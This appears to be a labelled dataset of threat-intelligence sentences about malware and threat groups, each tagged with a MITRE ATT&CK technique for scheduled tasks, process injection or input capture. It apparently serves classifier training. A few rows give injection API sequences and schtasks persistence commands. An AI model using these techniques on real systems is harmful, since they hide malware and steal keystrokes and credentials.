Stealth Falcon malware creates a scheduled task entitled “IE Web Cache” to execute a malicious file hourly.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Stuxnet schedules a network job to execute two minutes after host infection.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
TEMP.Veles has used scheduled task XML triggers.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Tarrask is able to create “hidden” scheduled tasks for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"Tomiris has used `SCHTASKS /CREATE /SC DAILY /TN StartDVL /TR ""[path to self]"" /ST 10:00` to establish persistence.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
TrickBot creates a scheduled task on the system that provides persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
Zebrocy has a command to create a scheduled task for persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
ccf32 can run on a daily basis using a scheduled task.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
menuPass has used a script (atexec.py) to execute a command on a target machine via Task Scheduler.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
schtasks is used to schedule tasks on a Windows system to run at a specific date and time.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"yty establishes persistence by creating a scheduled task with the command ""SchTasks /Create /SC DAILY /TN BigData /TR “ + path_file + “/ST 09:30“"".",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
zwShell has used SchTasks for execution.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
ABK has the ability to inject shellcode into svchost.exe.,['T1055 - Process Injection'],fine_tune
APT32 malware has injected a Cobalt Strike beacon into Rundll32.exe.,['T1055 - Process Injection'],fine_tune
"APT37 injects its malware variant, ROKRAT, into the cmd.exe process.",['T1055 - Process Injection'],fine_tune
APT41 malware TIDYELF loaded the main WINTERLOVE component by injecting it into the iexplore.exe process.,['T1055 - Process Injection'],fine_tune
"Agent Tesla can inject into known, vulnerable binaries on targeted hosts.",['T1055 - Process Injection'],fine_tune
Attor's dispatcher can inject itself into running processes to gain higher privileges and to evade detection.,['T1055 - Process Injection'],fine_tune
AuditCred can inject code from files to other running processes.,['T1055 - Process Injection'],fine_tune
Avenger has the ability to inject shellcode into svchost.exe.,['T1055 - Process Injection'],fine_tune
BBK has the ability to inject shellcode into svchost.exe.,['T1055 - Process Injection'],fine_tune
Bumblebee can inject code into multiple processes on infected endpoints.,['T1055 - Process Injection'],fine_tune
Cardinal RAT injects into a newly spawned process created from a native Windows executable.,['T1055 - Process Injection'],fine_tune
Clambling can inject into the `svchost.exe` process for execution.,['T1055 - Process Injection'],fine_tune
Cobalt Group has injected code into trusted processes.,['T1055 - Process Injection'],fine_tune
"Donut includes a subproject ""DonutTest"" to inject shellcode into a target process.",['T1055 - Process Injection'],fine_tune
"During Operation Sharpshooter, threat actors leveraged embedded shellcode to inject a downloader into the memory of Word.",['T1055 - Process Injection'],fine_tune
"During Operation Wocao, threat actors injected code into a selected process, which in turn launches a command as a child process of the original.",['T1055 - Process Injection'],fine_tune
Gazer injects its communication module into an Internet accessible process through which it performs C2.,['T1055 - Process Injection'],fine_tune
GuLoader has the ability to inject shellcode into a donor processes that is started in a suspended state. GuLoader has previously used RegAsm as a donor process.,['T1055 - Process Injection'],fine_tune
HOPLIGHT has injected into running processes.,['T1055 - Process Injection'],fine_tune
HiddenWasp adds itself to the LD_PRELOAD path and sets a series of environment variables.,['T1055 - Process Injection'],fine_tune
Honeybee uses a batch file to load a DLL into the svchost.exe process.,['T1055 - Process Injection'],fine_tune
InvisiMole can inject itself into another process to avoid detection including use of a technique called ListPlanting that customizes the sorting algorithm in a ListView structure.,['T1055 - Process Injection'],fine_tune
IronNetInjector can use an IronPython scripts to load a .NET injector to inject a payload into its own or a remote process.,['T1055 - Process Injection'],fine_tune
JHUHUGIT performs code injection injecting its own functions to browser processes.,['T1055 - Process Injection'],fine_tune
JPIN can inject content into lsass.exe to load a module.,['T1055 - Process Injection'],fine_tune
Kimsuky has used Win7Elevate to inject malicious code into explorer.exe.,['T1055 - Process Injection'],fine_tune
Lizar can migrate the loader into another process.,['T1055 - Process Injection'],fine_tune
"Mis-Type has been injected directly into a running process, including `explorer.exe`.",['T1055 - Process Injection'],fine_tune
"NETWIRE can inject code into system processes including notepad.exe, svchost.exe, and vbc.exe.",['T1055 - Process Injection'],fine_tune
NavRAT copies itself into a running Internet Explorer process to evade detection.,['T1055 - Process Injection'],fine_tune
PLATINUM has used various methods of process injection including hot patching.,['T1055 - Process Injection'],fine_tune
Pandora can start and inject code into a new `svchost` process.,['T1055 - Process Injection'],fine_tune
"PoshC2 contains multiple modules for injecting into processes, such as ""Invoke-PSInject"".",['T1055 - Process Injection'],fine_tune
"QakBot can inject itself into processes including explore.exe, Iexplore.exe, and Mobsync.exe.",['T1055 - Process Injection'],fine_tune
REvil can inject itself into running processes on a compromised host.,['T1055 - Process Injection'],fine_tune
"ROKRAT can use `VirtualAlloc`, `WriteProcessMemory`, and then `CreateRemoteThread` to execute shellcode within the address space of `Notepad.exe`.",['T1055 - Process Injection'],fine_tune
SILENTTRINITY can inject shellcode directly into Excel.exe or a specific process.,['T1055 - Process Injection'],fine_tune
SLOTHFULMEDIA can inject into running processes on a compromised host.,['T1055 - Process Injection'],fine_tune
ShadowPad has injected an install module into a newly created process.,['T1055 - Process Injection'],fine_tune
Silence has injected a DLL library containing a Trojan into the fwmain32.exe process.,['T1055 - Process Injection'],fine_tune
Smoke Loader injects into the Internet Explorer process.,['T1055 - Process Injection'],fine_tune
StoneDrill has relied on injecting its payload directly into the process memory of the victim's preferred browser.,['T1055 - Process Injection'],fine_tune
The PcShare payload has been injected into the `logagent.exe` and `rdpclip.exe` processes.,['T1055 - Process Injection'],fine_tune
"TrickBot has used ""Nt*"" Native API functions to inject code into legitimate processes such as ""wermgr.exe"".",['T1055 - Process Injection'],fine_tune
"Turla has also used PowerSploit's ""Invoke-ReflectivePEInjection.ps1"" to reflectively load a PowerShell payload into a random process on the victim system.",['T1055 - Process Injection'],fine_tune
WarzoneRAT has the ability to inject malicious DLLs into a specific process for privilege escalation.,['T1055 - Process Injection'],fine_tune
Waterbear can inject decrypted shellcode into the LanmanServer service.,['T1055 - Process Injection'],fine_tune
Wiarp creates a backdoor through which remote attackers can inject files into running processes.,['T1055 - Process Injection'],fine_tune
Wingbird performs multiple process injections to hijack system processes and execute malicious code.,['T1055 - Process Injection'],fine_tune
gh0st RAT can inject malicious code into process created by the “Command_Create&Inject” function.,['T1055 - Process Injection'],fine_tune
injects a malicious DLL into the IExplorer.exe process.,['T1055 - Process Injection'],fine_tune
A Lazarus Group malware sample performs reflective DLL injection.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"After decrypting itself in memory, RARSTONE downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. This “downloaded” file is actually not dropped onto the system.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Aria-body has the ability to inject itself into another process such as rundll32.exe and dllhost.exe.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Carberp's bootkit can inject a malicious DLL into the address space of running processes.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Carbon has a command to inject code into a process.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Duqu will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host).,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"During C0015, the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Dyre injects into other processes to load modules.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Elise injects DLL files into iexplore.exe.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Emissary injects its DLL file into a newly spawned Internet Explorer process.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Emotet has been observed injecting in to Explorer.exe and other processes.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Gelsemium has the ability to inject DLLs into specific processes.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Get2 has the ability to inject DLLs into processes.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
HIDEDRV injects a DLL for Downdelph into the explorer.exe process.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"If running in a Windows environment, Kazuar saves a DLL to disk that is injected into the explorer.exe process to execute the payload. Kazuar can also be configured to inject and execute within specific processes.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Koadic can perform process injection by using a reflective DLL.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Leviathan has utilized techniques like reflective DLL loading to write a DLL into memory and load a shell that provides backdoor access to the victim.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Matryoshka uses reflective DLL injection to inject the malicious library and execute the RAT.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Maze has injected the malware DLL into a target process.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"MegaCortex loads ""injecthelper.dll"" into a newly created ""rundll32.exe"" process.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Metamorfo has injected a malicious DLL into the Windows Media Player process (wmplayer.exe).,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Mongall can inject a DLL into `rundll32.exe` for execution.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
PS1 can inject its payload DLL Into memory.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
PipeMon can inject its modules into various processes using reflective DLL loading.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
PoisonIvy can inject a malicious DLL into a process.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Pupy can migrate into another process using reflective DLL injection.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
RATANKBA performs a reflective DLL injection using a given pid.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Remsec can perform DLL injection.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
SDBbot has the ability to inject a downloaded DLL into a newly created rundll32.exe process.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Saint Bot has injected its DLL component into `EhStorAurhn.exe`.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Socksbot creates a suspended svchost process and injects its DLL into it.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"SombRAT can execute ""loadfromfile"", ""loadfromstorage"", and ""loadfrommem"" to inject a DLL  from disk, storage, or memory respectively.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"Stuxnet injects an entire DLL into an existing, newly created, or preselected trusted process.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"Sykipot injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Taidoor can perform DLL loading.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
The Bumblebee loader can support the `Dij` command which gives it the ability to inject DLLs into the memory of other processes.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"The FunnyDream FilepakMonitor component can inject into the Bka.exe process using the `VirtualAllocEx`, `WriteProcessMemory` and `CreateRemoteThread` APIs to load the DLL component.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
The Netwalker DLL has been injected reflectively into the memory of a legitimate running process.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Tropic Trooper has injected a DLL backdoor into dllhost.exe and svchost.exe.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Turla has used Metasploit to perform reflective DLL injection in order to escalate privileges.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"Wizard Spider has injected malicious DLLs into memory with read, write, and execute permissions.",['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
ZxShell is injected into a shared SVCHOST process.,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
Carbanak downloads an executable and injects it directly into a new process.,['T1055.002 - Process Injection: Portable Executable Injection'],fine_tune
GreyEnergy has a module to inject a PE binary into a remote process.,['T1055.002 - Process Injection: Portable Executable Injection'],fine_tune
Lizar can execute PE files in the address space of the specified process.,['T1055.002 - Process Injection: Portable Executable Injection'],fine_tune
"Rocke's miner, ""TermsHost.exe"", evaded defenses by injecting itself into Windows processes, including Notepad.exe.",['T1055.002 - Process Injection: Portable Executable Injection'],fine_tune
"Zeus Panda checks processes on the system and if they meet the necessary requirements, it injects into that process.",['T1055.002 - Process Injection: Portable Executable Injection'],fine_tune
Gazer performs thread execution hijacking to inject its orchestrator into a running thread from a remote process.,['T1055.003 - Thread Execution Hijacking'],fine_tune
"Trojan.Karagany can inject a suspended thread of its own process into a new process and initiate via the ""ResumeThread"" API.",['T1055.003 - Thread Execution Hijacking'],fine_tune
Waterbear can use thread injection to inject shellcode into the process of security software.,['T1055.003 - Thread Execution Hijacking'],fine_tune
Attor performs the injection by attaching its code into the APC queue using NtQueueApcThread API.,['T1055.004 - Process Injection: Asynchronous Procedure Call'],fine_tune
Bumblebee can use asynchronous procedure call (APC) injection to execute commands received from C2.,['T1055.004 - Process Injection: Asynchronous Procedure Call'],fine_tune
Carberp has queued an APC routine to explorer.exe by calling ZwQueueApcThread.,['T1055.004 - Process Injection: Asynchronous Procedure Call'],fine_tune
FIN8 has injected malicious code into a new svchost.exe process.,['T1055.004 - Process Injection: Asynchronous Procedure Call'],fine_tune
"IcedID has used ""ZwQueueApcThread"" to inject itself into remote processes.",['T1055.004 - Process Injection: Asynchronous Procedure Call'],fine_tune
InvisiMole can inject its code into a trusted process via the APC queue.,['T1055.004 - Process Injection: Asynchronous Procedure Call'],fine_tune
Pillowmint has used the NtQueueApcThread syscall to inject code into svchost.exe.,['T1055.004 - Process Injection: Asynchronous Procedure Call'],fine_tune
Saint Bot has written its payload into a newly-created `EhStorAuthn.exe` process using `ZwWriteVirtualMemory` and executed it using `NtQueueApcThread` and `ZwAlertResumeThread`.,['T1055.004 - Process Injection: Asynchronous Procedure Call'],fine_tune
"TURNEDUP is capable of injecting code into the APC queue of a created Rundll32 process as part of an ""Early Bird injection.""",['T1055.004 - Process Injection: Asynchronous Procedure Call'],fine_tune
Epic has overwritten the function pointer in the extra window memory of Explorer's Shell_TrayWnd in order to execute malicious code in the context of the explorer.exe process.,['T1055.011 - Process Injection: Extra Window Memory Injection'],fine_tune
Power Loader overwrites Explorer’s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe.,['T1055.011 - Process Injection: Extra Window Memory Injection'],fine_tune
A Threat Group-3390 tool can spawn svchost.exe and inject the payload into that process.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Astaroth can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"Azorult can decrypt the payload into memory, create a new suspended process of itself, then inject a decrypted payload to the new process and resume new process execution.",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
BBSRAT has been seen loaded into msiexec.exe through process hollowing to hide its execution.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Bandook has been launched by starting iexplore.exe and replacing it with Bandook's payload.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"Bazar can inject into a target process including Svchost, Explorer, and cmd using process hollowing.",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Clambling can execute binaries through process hollowing.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Cobalt Strike can use process hollowing for execution.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"Denis performed process hollowing through the API calls CreateRemoteThread, ResumeThread, and Wow64SetThreadContext.",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Duqu is capable of loading executable code via process hollowing.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Gorgon Group malware can use process hollowing to inject one of its trojans into another process.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
ISMInjector hollows out a newly created process RegASM.exe and injects its payload into the hollowed process.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Kimsuky has used a file injector DLL to spawn a benign process on the victim's system and inject the malicious payload into it via process hollowing.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Lokibot has used process hollowing to inject itself into legitimate Windows process.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
RCSession can launch itself from a hollowed svchost.exe process.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Smoke Loader spawns a new copy of c:\windows\syswow64\explorer.exe and then replaces the executable code in memory with malware.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Some Orz versions have an embedded DLL known as MockDll that uses process hollowing and Regsvr32 to execute another payload.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
The NETWIRE payload has been injected into benign Microsoft executables via process hollowing.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
The Saint Bot loader has used API calls to spawn `MSBuild.exe` in a suspended state before injecting the decrypted Saint Bot binary into it.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
TrickBot injects into the svchost.exe process.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Ursnif has used process hollowing to inject into child processes.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
WhisperGate has the ability to inject its fourth stage into a suspended process created by the legitimate Windows utility `InstallUtil.exe`.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Bazar can inject into a target process using process doppelgänging.,['T1055.013 - Process Doppelgänging'],fine_tune
Leafminer has used Process Doppelgänging to evade security software while deploying tools on compromised systems.,['T1055.013 - Process Doppelgänging'],fine_tune
SynAck abuses NTFS transactions to launch and conceal malicious processes.,['T1055.013 - Process Doppelgänging'],fine_tune
InvisiMole has used ListPlanting to inject code into a trusted process.,['T1055.015 - Process Injection: ListPlanting'],fine_tune
APT39 has utilized tools to capture mouse movements.,['T1056 - Input Capture'],fine_tune
ADVSTORESHELL can perform keylogging.,['T1056.001 - Input Capture: Keylogging'],fine_tune
APT28 has used tools to perform keylogging.,['T1056.001 - Input Capture: Keylogging'],fine_tune
APT3 has used a keylogging tool that records keystrokes in encrypted files.,['T1056.001 - Input Capture: Keylogging'],fine_tune
APT32 has abused the PasswordChangeNotify to monitor for and capture account password changes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
APT38 used a Trojan called KEYLIME to capture keystrokes from the victim’s machine.,['T1056.001 - Input Capture: Keylogging'],fine_tune
APT39 has used tools for capturing keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
APT41 used a keylogger called GEARSHIFT on a target system.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Agent Tesla can log keystrokes on the victim’s machine.,['T1056.001 - Input Capture: Keylogging'],fine_tune
"Ajax Security Team has used CWoolger and MPK, custom-developed malware, which recorded all keystrokes on an infected system.",['T1056.001 - Input Capture: Keylogging'],fine_tune
"AppleSeed can use ""GetKeyState"" and ""GetKeyboardState"" to capture keystrokes on the victim’s machine.",['T1056.001 - Input Capture: Keylogging'],fine_tune
Astaroth logs keystrokes from the victim's machine.,['T1056.001 - Input Capture: Keylogging'],fine_tune
BISCUIT can capture keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
BadPatch has a keylogging capability.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Bandook contains keylogging capabilities.,['T1056.001 - Input Capture: Keylogging'],fine_tune
BlackEnergy has run a keylogger plug-in on a victim.,['T1056.001 - Input Capture: Keylogging'],fine_tune
CHOPSTICK is capable of performing keylogging.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Carbanak logs key strokes for configured processes and sends them back to the C2 server.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Cardinal RAT can log keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Catchamas collects keystrokes from the victim’s machine.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Cobalt Strike can track key presses with a keylogger module.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Cobian RAT has a feature to perform keylogging on the victim’s machine.,['T1056.001 - Input Capture: Keylogging'],fine_tune
CosmicDuke uses a keylogger.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Crimson can use a module to perform keylogging on compromised hosts.,['T1056.001 - Input Capture: Keylogging'],fine_tune
"Cuba logs keystrokes via polling by using ""GetKeyState"" and ""VkKeyScan"" functions.",['T1056.001 - Input Capture: Keylogging'],fine_tune
DarkComet has a keylogging capability.,['T1056.001 - Input Capture: Keylogging'],fine_tune
DarkWatchman can track key presses with a keylogger module.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Darkhotel has used a keylogger.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Dtrack’s dropper contains a keylogging executable.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Duqu can track key presses with a keylogger module.,['T1056.001 - Input Capture: Keylogging'],fine_tune
DustySky contains a keylogger.,['T1056.001 - Input Capture: Keylogging'],fine_tune
ECCENTRICBANDWAGON can capture and store keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
EvilGrab has the capability to capture keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
FIN4 has captured credentials via fake Outlook Web App (OWA) login pages and has also used a .NET based keylogger.,['T1056.001 - Input Capture: Keylogging'],fine_tune
FakeM contains a keylogger module.,['T1056.001 - Input Capture: Keylogging'],fine_tune
FlawedAmmyy can collect keyboard events.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Fysbis can perform keylogging.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Grandoreiro can log keystrokes on the victim's machine.,['T1056.001 - Input Capture: Keylogging'],fine_tune
GreyEnergy has a module to harvest pressed keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
HEXANE has used a PowerShell-based keylogger named `kl.ps1`.,['T1056.001 - Input Capture: Keylogging'],fine_tune
HTTPBrowser is capable of capturing keystrokes on victims.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Imminent Monitor has a keylogging module.,['T1056.001 - Input Capture: Keylogging'],fine_tune
"KGH_SPY can perform keylogging by polling the ""GetAsyncKeyState()"" function.",['T1056.001 - Input Capture: Keylogging'],fine_tune
KONNI has the capability to perform keylogging.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Kasidet has the ability to initiate keylogging.,['T1056.001 - Input Capture: Keylogging'],fine_tune
KeyBoy installs a keylogger for intercepting credentials and keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Kimsuky has used a PowerShell-based keylogger as well as a tool called MECHANICAL to log keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Kivars has the ability to initiate keylogging on the infected host.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Lazarus Group malware KiloAlfa contains keylogging functionality.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Lokibot has the ability to capture input on the compromised host via keylogging.,['T1056.001 - Input Capture: Keylogging'],fine_tune
"MacMa can use Core Graphics Event Taps to intercept user keystrokes from any text input field and saves them to text files. Text input fields include Spotlight, Finder, Safari, Mail, Messages, and other apps that have text fields for passwords.",['T1056.001 - Input Capture: Keylogging'],fine_tune
MacSpy captures keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Matryoshka is capable of keylogging.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Metamorfo has a command to launch a keylogger and capture keystrokes on the victim’s machine.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Micropsia has keylogging capabilities.,['T1056.001 - Input Capture: Keylogging'],fine_tune
MoonWind has a keylogger.,['T1056.001 - Input Capture: Keylogging'],fine_tune
NanoCore can perform keylogging on the victim’s machine.,['T1056.001 - Input Capture: Keylogging'],fine_tune
NavRAT logs the keystrokes on the targeted system.,['T1056.001 - Input Capture: Keylogging'],fine_tune
OilRig has used keylogging tools called KEYPUNCH and LONGWATCH.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Okrum was seen using a keylogger tool to capture keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
One of Attor's plugins can collect user credentials via capturing keystrokes and can capture keystrokes pressed within the window of the injected process.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Operation Wocao has obtained the password for the victim's password manager via a custom keylogger.,['T1056.001 - Input Capture: Keylogging'],fine_tune
"OwaAuth captures and DES-encrypts credentials before writing the username and password to a log file, ""C:\log.txt"".",['T1056.001 - Input Capture: Keylogging'],fine_tune
PLATINUM has used several different keyloggers.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Peppy can log keystrokes on compromised hosts.,['T1056.001 - Input Capture: Keylogging'],fine_tune
PlugX has a module for capturing keystrokes per process including window titles.,['T1056.001 - Input Capture: Keylogging'],fine_tune
PoisonIvy contains a keylogger.,['T1056.001 - Input Capture: Keylogging'],fine_tune
PoshC2 has modules for keystroke logging and capturing credentials from spoofed Outlook authentication messages.,['T1056.001 - Input Capture: Keylogging'],fine_tune
"PowerSploit's ""Get-Keystrokes"" Exfiltration module can log keystrokes.",['T1056.001 - Input Capture: Keylogging'],fine_tune
Prikormka contains a keylogger module that collects keystrokes and the titles of foreground windows.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Pupy uses a keylogger to capture keystrokes it then sends back to the server after it is stopped.,['T1056.001 - Input Capture: Keylogging'],fine_tune
QakBot can capture keystrokes on a compromised host.,['T1056.001 - Input Capture: Keylogging'],fine_tune
QuasarRAT has a built-in keylogger.,['T1056.001 - Input Capture: Keylogging'],fine_tune
ROKRAT can use  `SetWindowsHookEx` and `GetKeyNameText` to capture keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
RTM can record keystrokes from both the keyboard and virtual keyboard.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Regin contains a keylogger.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Remcos has a command for keylogging.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Remexi gathers and exfiltrates keystrokes from the machine.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Remsec contains a keylogger component.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Rover has keylogging functionality.,['T1056.001 - Input Capture: Keylogging'],fine_tune
RunningRAT captures keystrokes and sends them back to the C2 server.,['T1056.001 - Input Capture: Keylogging'],fine_tune
SLOTHFULMEDIA has a keylogging capability.,['T1056.001 - Input Capture: Keylogging'],fine_tune
SMOKEDHAM can continuously capture keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Sandworm Team has used a keylogger to capture keystrokes by using the SetWindowsHookEx function.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Sowbug has used keylogging tools.,['T1056.001 - Input Capture: Keylogging'],fine_tune
SslMM creates a new thread implementing a keylogging facility using Windows Keyboard Accelerators.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Sykipot contains keylogging functionality to steal passwords.,['T1056.001 - Input Capture: Keylogging'],fine_tune
TajMahal has the ability to capture keystrokes on an infected host.,['T1056.001 - Input Capture: Keylogging'],fine_tune
The FunnyDream Keyrecord component can capture keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
The executable version of Helminth has a module to log keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
"ThiefQuest uses the ""CGEventTap"" functions to perform keylogging.",['T1056.001 - Input Capture: Keylogging'],fine_tune
"Threat Group-3390 actors installed a credential logger on Microsoft Exchange servers. Threat Group-3390 also leveraged the reconnaissance framework, ScanBox, to capture keystrokes.",['T1056.001 - Input Capture: Keylogging'],fine_tune
TinyZBot contains keylogger functionality.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Tonto Team has used keylogging tools in their operations.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Trojan.Karagany can capture keystrokes on a compromised host.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Unknown Logger is capable of recording keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
VERMIN collects keystrokes from the victim machine.,['T1056.001 - Input Capture: Keylogging'],fine_tune
"XAgentOSX contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure.",['T1056.001 - Input Capture: Keylogging'],fine_tune
Zeus Panda can perform keylogging on the victim’s machine by hooking the functions TranslateMessage and WM_KEYDOWN.,['T1056.001 - Input Capture: Keylogging'],fine_tune
ZxShell has a feature to capture a remote computer's keystrokes using a keylogger.,['T1056.001 - Input Capture: Keylogging'],fine_tune
"jRAT has the capability to log keystrokes from the victim’s machine, both offline and online.",['T1056.001 - Input Capture: Keylogging'],fine_tune
menuPass has used key loggers to steal usernames and passwords.,['T1056.001 - Input Capture: Keylogging'],fine_tune
yty uses a keylogger plugin to gather keystrokes.,['T1056.001 - Input Capture: Keylogging'],fine_tune
Calisto presents an input prompt asking for the user's login and password.,['T1056.002 - Input Capture: GUI Input Capture'],fine_tune
Dok prompts the user for credentials.,['T1056.002 - Input Capture: GUI Input Capture'],fine_tune
FIN4 has presented victims with spoofed Windows Authentication prompts to collect their credentials.,['T1056.002 - Input Capture: GUI Input Capture'],fine_tune
Keydnap prompts the users for credentials.,['T1056.002 - Input Capture: GUI Input Capture'],fine_tune
Metamorfo has displayed fake forms on top of banking sites to intercept credentials from victims.,['T1056.002 - Input Capture: GUI Input Capture'],fine_tune
